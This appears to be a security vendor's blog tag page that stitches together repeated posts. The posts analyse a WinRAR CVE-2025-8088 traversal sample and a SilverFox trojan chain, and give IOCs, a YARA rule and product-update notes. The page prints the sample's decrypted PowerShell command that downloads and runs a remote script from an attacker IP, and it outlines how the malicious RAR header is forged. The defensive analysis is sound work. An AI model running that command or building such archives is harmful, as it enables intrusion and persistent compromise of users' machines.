标签 天穹沙箱 下的文章

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、升级与优化

天穹智能分析平台近期完成全面升级,新增多项功能,并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面:

  1. 情报智能体正式上线;
  2. 智能问答响应速度显著提升;
  3. 样本与网络地址详情页全面更新。

平台地址:天穹智能分析平台

接下来,我们将详细介绍每一项升级内容。

二、情报智能体正式上线

在此前的更新中,我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新,我们正式将情报智能体引入智能搜索,极大提升了智能体在面对复杂问题的处理能力,并能进一步提升回答深度和广度。

下面,我们以情报狩猎固件下载三个领域为示例,演示在哪些场景可开启智能体,以及如何使用智能体。

情报分析

例如,我们要求智能体针对以下情报问题进行深度分析:

🔍 分析APT37组织在过去一年的活动,并对收集的IOC进行分析和拓线

在搜索框输入问题,点击智能体按钮,即可开启智能体模式,如图1所示:

图1 开启智能体模式

接下来,我们会进入智能体页面,智能体首先会根据问题制定一份详细的方案,此模式为计划模式,如图2所示:

图2 计划模式

询问用户是否确认此方案,如图3所示:

图3 方案确认

如果对方案不满意,可以选择否,并提出其他需求。例如,我们要求智能体进一步查询样本的沙箱分析报告,如图4所示:

图4 修改方案

将需求发送后,智能体会重新制定一份方案。如图5所示,在新的方案中已经包含了提的新需求:

图5 按照要求重新制定方案

确认方案后,智能体将进入执行模式

在页面左侧天穹智能体部分,我们可以看到智能体的工具调用信息,包括工具名、调用参数和工具返回结果,如图6所示:

图6 工具调用

在右侧的智能体思维链部分,我们可以看到智能体对每一轮操作的描述和总结,方便随时查看智能体任务进度,如图7所示:

图7 智能体思维链

值得一提的是,本次升级上线了12款MCP工具,涵盖以下四个领域:

  • 情报检索
  • APT组织画像
  • 样本拓线
  • IOC查询

后续我们会持续关注与更新,引入更多强大和实用的MCP工具,进一步拓展智能体的能力边界。另外,您可以查看工具调用参数、返回结果和思维链,深入了解MCP工具和智能体。

任务完成后,右侧将展示完整的分析报告,顶部可复制、全屏查看、下载报告,如图8所示。此前的思维链将默认折叠,可滑动到报告底部展开查看。

图8 智能体分析报告

以下是智能体生成的完整分析报告,可看到智能体收集了一年以来有关APT37组织的情报,给出了详细的攻击时间线,并按照要求对IOC进行进一步拓线分析,如图9所示:

图9 APT37分析报告

如果对输出报告不满意,可以要求智能体进一步修改,如图10所示,智能体将重新生成报告,此处不再赘述。

图10 答案确认

威胁狩猎

在日常样本分析过程中,我们常常需要搜索特定名称、家族、时间范围等特征的样本,例如:

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到,智能体不仅准确列出了样本IOC信息,还按照静态、动态对样本进行分类,并进一步对样本进行了关联分析,输出内容详实可靠,如图11所示:

图11 威胁狩猎报告

固件下载

对于IoT设备分析人员而言,精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如:

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接,同时标注了每个固件的文件大小,便于用户快速比对与选择。更重要的是,智能体还对所有链接进行了威胁情报筛查,主动过滤非官方来源、第三方托管或已失效的链接,确保结果安全、可靠、有效,显著提升研究人员的工作效率与安全性,如图12所示。

图12 固件下载报告

三、响应速度显著提升

通过持续资源升级与模型优化,智能问答的响应速度大幅提升,回答耗时由原来的1分30秒缩短至30秒,如图13所示。

图13 速度对比

四、详情页全面更新

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题,经过全面改进,新版详情页信息密度显著提升,能够展示更多高价值数据,以下是具体的升级内容。

样本详情页

样本详情页在升级后,可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置,如图14所示:

图14 样本详情页升级前后对比

网络详情页

网络地址详情页在升级后,可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息,如图15所示:

图15 网络详情页升级前后对比

五、 技术支持与反馈

天穹智能分析平台持续迭代升级,致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。

如果您希望深入了解平台功能,或在使用过程中遇到任何问题,欢迎随时联系我们。您的反馈,是我们进步的重要动力!

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

一、概述

近期,天穹沙箱团队在追踪银狐家族的攻击活动时,发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术,并结合隐蔽的进程注入与DLL侧载(DLL Side-Loading)等手段,以规避安全检测,实现持久驻留于受害者主机。

二、样本信息

  • 样本名: Rar0092_v3.53.278_2xdcey.exe
  • SHA1:50715a3abd66e17654255b7881b035d006dce605
  • 文件类型:EXE
  • 文件大小:127.03 MB
  • 家族归属:银狐家族
  • 报告链接:天穹沙箱分析报告

三、样本分析

该样本具备高度隐蔽性,在执行过程中反复侦测运行环境,其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力,成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为,还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

图1 攻击流程

1、反调试检测

首先,样本运行后先检测自身是否处于调试状态,通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着,调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息,检测 CPU 核心数量是否满足 >= 3 核,以及物理内存大小是否满足 >= 3G,样本依据上述硬件配置判断是否处于沙箱分析环境。

图2 反调试检测

当以上检测要求通过后,样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探,外部函数调用均通过手动查找 LDR 链表获取模块基址,再解析 PE 头获取函数地址,增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上,形成贯穿始终的对抗屏障,阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后,样本再度检查自身是否具有管理员权限,权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录,并释放多个文件:

app.exe._ (MD5:f041793908111b5395226bc9ed5e6698)
README.md (MD5:daa5414f94d8f43925efffd79979cf75)
View.dat (MD5:c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5:937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1)
View.conf (MD5:85fac9d703132b9a28beb11d8ec3d181)
alt text
图3 创建目录释放文件

其中 åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序,其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图,样本在释放恶意文件后,调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序,制造正常操作的假象,欺骗用户。随后,样本隐蔽地拉起 app.exe 进程,进入下一阶段的恶意操作。

图4 伪装程序

3、Payload 加载与执行

第一阶段: View.dat 文件 payload 为 raw 数据,样本通过 VirtualAlloc 分配内存,将 payload 解密后写入内存,并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode,会加载 raw 数据中夹带的 DLL 文件,并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

图5 加载 payload

第二阶段: 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程,并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

图6 注入 payload

值得说明的是,在本阶段执行注入操作时样本会判断运行环境,高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件:WebViewHelper.exe 和 libcef.dll,其中 WebViewHelper.exe 为具备合法签名的白文件,被用来加载黑文件 libcef.dll,达到混淆视听的目的。

图7 释放文件

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程,进入下一阶段逻辑。

第三阶段: WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测,包括判断运行环境、所属 session 以及管理员权限等,检测通过后与 C2 服务器建立通信。

图8 环境检测
图9 网络通信
图10 样本攻击链

整个攻击链逻辑错综复杂,层层递进,分析难度极大。同时,攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听,进一步干扰了用户和安全人员的判断。

四、IOC

恶意文件(MD5)

481577b35e4d09510c49d78f5c3fa98c    Rar0092_v3.53.278_2xdcey.exe
0c0d6806bb8caf68d4dfa5208db52a17    app.exe
f041793908111b5395226bc9ed5e6698    app.exe._
daa5414f94d8f43925efffd79979cf75    README.md
c2db56df94b92d6370c87303d1506f54    View.dat
937ab7f863261a046ba3dd46df7cb270    Web.dat
34f435f15a846ae677f88ea412c074d1    åº ç ¨å® .exe
85fac9d703132b9a28beb11d8ec3d181    View.conf
c154442ddf6363b6ac5822e47028d672    WebViewHelper.exe
74be16979710d4c4e7c6647856088456    libcef.dll

恶意IOC

192.238.201.32[:]30009              C2 地址

报告链接

分析报告:天穹沙箱分析报告

五、检出规则

天穹沙箱已针对该银狐变种样本编写如下YARA规则,供用户参考使用:

rule Trojan_SilverFox
{
    meta:
        description = "银狐变种的检测"
        date = "2026-01-04"
    strings:
        $seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }

        $seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }

    condition:
        all of them
}

六、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

一、概述

近期,天穹沙箱团队在追踪银狐家族的攻击活动时,发现其最新样本采用了高度复杂且极具迷惑性的攻击链。该攻击链通过多阶段反调试检测、伪装合法软件安装、内存反射加载等技术,并结合隐蔽的进程注入与DLL侧载(DLL Side-Loading)等手段,以规避安全检测,实现持久驻留于受害者主机。

二、样本信息

  • 样本名: Rar0092_v3.53.278_2xdcey.exe
  • SHA1:50715a3abd66e17654255b7881b035d006dce605
  • 文件类型:EXE
  • 文件大小:127.03 MB
  • 家族归属:银狐家族
  • 报告链接:天穹沙箱分析报告

三、样本分析

该样本具备高度隐蔽性,在执行过程中反复侦测运行环境,其执行逻辑具有明显的多层次、复杂化特征。天穹智能化沙箱系统凭借其全链路行为深度建模与动态分析能力,成功完整捕获并解析了该样本从初始释放、伪装执行、多阶段内存加载到最终持久化与 C2 通信的全过程。系统不仅精准识别了其反调试、环境探测、权限提升等规避行为,还完整提取了各阶段解密后的恶意载荷。以下结合沙箱动态分析结果细致分析样本的恶意行径。

图1 攻击流程

1、反调试检测

首先,样本运行后先检测自身是否处于调试状态,通过检查 PEB->BeingDebugged 字段识别当前是否被用户态调试器附加调试。
接着,调用 NtQuerySystemInformation(SystemBasicInformation) 接口获取当前系统基本信息,检测 CPU 核心数量是否满足 >= 3 核,以及物理内存大小是否满足 >= 3G,样本依据上述硬件配置判断是否处于沙箱分析环境。

图2 反调试检测

当以上检测要求通过后,样本开启真正的恶意能力释放。为保护自身核心代码和逻辑不被轻易窥探,外部函数调用均通过手动查找 LDR 链表获取模块基址,再解析 PE 头获取函数地址,增加函数调用的隐蔽性。
这类多层环境感知检查被深度内嵌在代码执行流的关键节点上,形成贯穿始终的对抗屏障,阻碍安全人员的动态调试和静态分析。

2、伪装安装程序

环境检测通过后,样本再度检查自身是否具有管理员权限,权限满足后会在 C:\\ProgramData 目录下创建随机字符串的目录,并释放多个文件:

app.exe._ (MD5:f041793908111b5395226bc9ed5e6698)
README.md (MD5:daa5414f94d8f43925efffd79979cf75)
View.dat (MD5:c2db56df94b92d6370c87303d1506f54)
Web.dat (MD5:937ab7f863261a046ba3dd46df7cb270)
åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1)
View.conf (MD5:85fac9d703132b9a28beb11d8ec3d181)
alt text
图3 创建目录释放文件

其中 åº ç ¨å® .exe (MD5:34f435f15a846ae677f88ea412c074d1) 为腾讯应用宝的可信安装程序,其余文件为样本后续阶段运行的加密 payload。
为掩盖程序真实意图,样本在释放恶意文件后,调用 WdcRunTaskAsInteractiveUser 接口运行腾讯应用宝安装程序,制造正常操作的假象,欺骗用户。随后,样本隐蔽地拉起 app.exe 进程,进入下一阶段的恶意操作。

图4 伪装程序

3、Payload 加载与执行

第一阶段: View.dat 文件 payload 为 raw 数据,样本通过 VirtualAlloc 分配内存,将 payload 解密后写入内存,并调用 CreateThread 函数创建线程执行该段 payload。
解密后的 payload 是一段具备内存反射加载 PE 文件功能的 shellcode,会加载 raw 数据中夹带的 DLL 文件,并调用其入口函数 DllEntryPoint 进入下一阶段逻辑。

图5 加载 payload

第二阶段: 内存加载的 DLL 文件注册服务并运行 svchost.exe 进程,并注入其他两个文件中包含的 payload (app.exe._ 和 View.dat)

图6 注入 payload

值得说明的是,在本阶段执行注入操作时样本会判断运行环境,高版本 Windows 系统将使用 PoolParty (泳池派对) 注入技术。
注入的恶意代码会在用户目录下释放两个文件:WebViewHelper.exe 和 libcef.dll,其中 WebViewHelper.exe 为具备合法签名的白文件,被用来加载黑文件 libcef.dll,达到混淆视听的目的。

图7 释放文件

svchost.exe 进程通过自启动服务方式运行重命名之后的 WebViewHelper 进程,进入下一阶段逻辑。

第三阶段: WebViewHelper 进程加载的恶意 DLL 文件 (libcef.dll) 会进行一系列的环境检测,包括判断运行环境、所属 session 以及管理员权限等,检测通过后与 C2 服务器建立通信。

图8 环境检测
图9 网络通信
图10 样本攻击链

整个攻击链逻辑错综复杂,层层递进,分析难度极大。同时,攻击者通过伪装合法安装程序、利用白文件加载黑文件等方式混淆视听,进一步干扰了用户和安全人员的判断。

四、IOC

恶意文件(MD5)

481577b35e4d09510c49d78f5c3fa98c    Rar0092_v3.53.278_2xdcey.exe
0c0d6806bb8caf68d4dfa5208db52a17    app.exe
f041793908111b5395226bc9ed5e6698    app.exe._
daa5414f94d8f43925efffd79979cf75    README.md
c2db56df94b92d6370c87303d1506f54    View.dat
937ab7f863261a046ba3dd46df7cb270    Web.dat
34f435f15a846ae677f88ea412c074d1    åº ç ¨å® .exe
85fac9d703132b9a28beb11d8ec3d181    View.conf
c154442ddf6363b6ac5822e47028d672    WebViewHelper.exe
74be16979710d4c4e7c6647856088456    libcef.dll

恶意IOC

192.238.201.32[:]30009              C2 地址

报告链接

分析报告:天穹沙箱分析报告

五、检出规则

天穹沙箱已针对该银狐变种样本编写如下YARA规则,供用户参考使用:

rule Trojan_SilverFox
{
    meta:
        description = "银狐变种的检测"
        date = "2026-01-04"
    strings:
        $seq1 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 88 04 24 48 63 44 24 04 48 8B 4C 24 20 8A 04 01 88 44 24 01 0F B6 04 24 48 63 4C 24 04 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 0F B6 04 24 48 8B 4C 24 20 8A 54 24 01 88 14 01 }

        $seq2 = { 81 E2 FF 00 00 00 03 C2 25 FF 00 00 00 2B C2 48 8B 4C 24 20 88 81 01 01 00 00 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 8A 04 01 88 04 24 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 0F B6 89 00 01 00 00 48 8B 54 24 20 4C 8B 44 24 20 41 8A 04 00 88 04 0A 48 8B 44 24 20 0F B6 80 01 01 00 00 48 8B 4C 24 20 8A 14 24 88 14 01 48 8B 44 24 20 0F B6 80 00 01 00 00 48 8B 4C 24 20 0F B6 04 01 48 8B 4C 24 20 0F B6 89 01 01 00 00 48 8B 54 24 20 0F B6 0C 0A 33 C1 }

    condition:
        all of them
}

六、技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们追求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
